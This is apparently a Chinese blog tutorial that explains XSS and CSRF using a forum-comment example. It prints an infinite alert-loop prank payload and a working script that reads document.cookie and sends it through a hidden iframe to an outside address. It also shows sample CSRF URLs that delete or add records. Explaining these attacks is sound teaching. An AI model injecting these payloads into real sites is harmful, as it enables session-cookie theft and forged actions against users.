XSS: 跨站脚本(cross-site scripting)
CSRF:跨站请求伪造(cross-site request forgery)
那么XSS与CORF到底是什么##
XSS###
xss,关键字在于脚本二字,他是注入攻击的一种,特点是对服务器端没有任何影响,相对CSRF来说也是容易解决的。但是在客户端不处理的话,也是有很大的危害。
举个例子####
假如某个论坛的评论功能里没有预防xss,那么你在里面加入下面这段代码,它就会自动执行,就会造成,每当用户访问这么页面,就会不停地弹窗。很难受的恶作剧。
while(true)
{
alert('别想关掉我')
}
然而这只是简单的情况,万一加入的是恶意的javascript代码,就会带来很大的危害。
比如,窃取用户的cookie
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
这样就建立了一个立即执行的匿名函数,在原本的页面上增加了一个隐藏的框架,不断窃取cookie并且发送,而且因为是获取cookie之后才建立的非同源框架,绕开了跨域问题,攻击者的后台就可以利用这些cookie在有效期内做各种事情,比如删帖,发帖之类的。。
就这样将代码注入直接注入前端代码的情况,也就是XSS
在这之后,如果通过之前获取的cookie进行增删请求,这便是,CSRF攻击,通过伪造用户来达到发送请求来达到攻击的目的。
CSRF###
CSRF:通过伪造用户来达到发送请求来达到攻击的目的。
假如某个网站没有安全验证(实际不存在。。),他的增删请求是通过特定的URL发送请求,
http://www.a.com/xx?id=215&method='delete'//删除
http://www.a.com/xx?id=125&method=‘add’//添加
现在我们找到了规律,id便是用户标识,method便是操作,那么对这个URL发起请求,服务器以为我们是用户在进行操作,允许了操作,这便是CSRF攻击
借用上例####
一般情况下,发起请求是有cookie验证的,这也就说明了cookie的重要性,所以在上例中如果窃取了用户的cookie,理想状态下就能进行CSRF攻击(当然服务器没这么蠢。。),下篇文章将会说一说现实中的xss注入攻击和CSRF攻击的一般防御措施
网友评论